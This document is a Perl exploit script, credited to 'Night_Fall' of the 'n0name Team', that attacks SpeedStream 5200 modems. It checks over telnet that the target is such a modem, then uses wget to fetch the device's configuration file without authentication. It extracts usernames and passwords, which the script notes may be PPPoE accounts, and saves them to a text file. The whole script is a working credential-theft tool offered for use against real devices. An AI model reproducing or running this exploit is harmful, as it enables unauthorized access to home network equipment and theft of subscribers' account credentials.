#!/usr/bin/perl
######################################################
#
#
#
#  SpeedStream Modem 5200 Remote LAN Exploit
#       Exploit FTP or Telnet Console
#
#
#      Coded by Night_Fall
# 

use IO::Socket;
use IO::Socket::INET;

print "\n######################################################\n";
print "#\n";
print "#\n";
print "#\n";
print "#  SpeedStream Modem 5200 Remote LAN Exploit\n";
print "#       Exploit FTP or Telnet Console\n";
print "#            Coded by Night_Fall\n";
print "#\n";
print "#   For n0name Team http://n0name.ircme.net\n";
print "#\n";
print "#\n";
print "#\n";
print "######################################################\n\n";

my $host=$ARGV[0];
if (@ARGV < 1)
{
die "Usage:\n       perl Speedshit.pl <host>\n\n";
}

# Banner grabing for testing if there's a SpeedStream Server
print " [+] Testing the connection...\n";
my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "23") || die "\n [-] The host $host is not a SpeedStream 5200 modem\n\nExiting...\n\n";
$sock->close;
my $msg = "f\nf\nf\nf\nf\nf\nf\nf\nf\nf\nf\nf\nf\n";
my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "23");
print $sock "$msg";
read $sock, $incoming, 40;
$incoming =~ s/.*GMT//g;
$sock->close;
if ($incoming =~ "SpeedStream")
{
$sock->close;
}
else
{
$sock->close;
die "\n [-] The host $host is not a SpeedStream 5200 modem\nExiting...\n\n";
}
print " [+] Testing done, now exploiting...\n";

open (WGET, "|wget http://$host/SpeeD_ConF.cfg >& /dev/null");
close(WGET);
open (DUMP, "<SpeeD_ConF.cfg") || die " [-] WGET is require and the command is not found in your PATH\n\nExitting...\n\n";
close(DUMP);
print " [+] Exploit succesfull\n\n";
# write the found passwords

open(DUMP,"<SpeeD_ConF.cfg");
open(USER,">>user.txt");
open(PASS,">>pass.txt");

while (<DUMP>)
{
$dump .= $_;
}
close DUMP;
while ($dump =~ /{usr{un="(.*?)",pw=/g)
{
print USER "$1\n";
}
while ($dump =~ /",pw="(.*?)"/g)
{
print PASS "$1\n";
}
close USER;
close PASS;

open(USER,"<user.txt");
chomp(@user = <USER>);
open(PASS,"<pass.txt");
chomp(@pass = <PASS>);
$u=0;
$p=0;
if ($user[$u] eq "")
{
close USER;
close PASS;
unlink("SpeeD_ConF.cfg");
unlink("user.txt");
unlink("pass.txt");
die " [-] No users found in the dump file\n\nExitting...\n\n";
}

# Print into DUMP file the user and pass for futur reading

open(USERS,">>SpeeD_UserS.txt");
print USERS "------------File generated By speedshit exploit------------\n";
print USERS "-------------------Coded by Night_Fall---------------------\n";
print USERS "---------------------For n0name Team-----------------------\n";
print USERS "-----------------http://n0name.ircme.net-------------------\n\n";
print USERS "Usernames and passwords list for host: $host:\n\n";
while ($pass[$p] ne "")
{
print USERS "user: $user[$u]\npass: $pass[$p]\n\n";
$u++;
$p++;
}
print USERS "---------------------------------------------------------------\n";
print USERS "--  P.S.   Usernames and Passwords may be PPPoE accounts     --\n";
print USERS "---------------------------------------------------------------\n";
close USERS;
close USER;
close PASS;
unlink("SpeeD_ConF.cfg");
unlink("user.txt");
unlink("pass.txt");
print " [*] File SpeeD_UserS.txt have been created\n\n";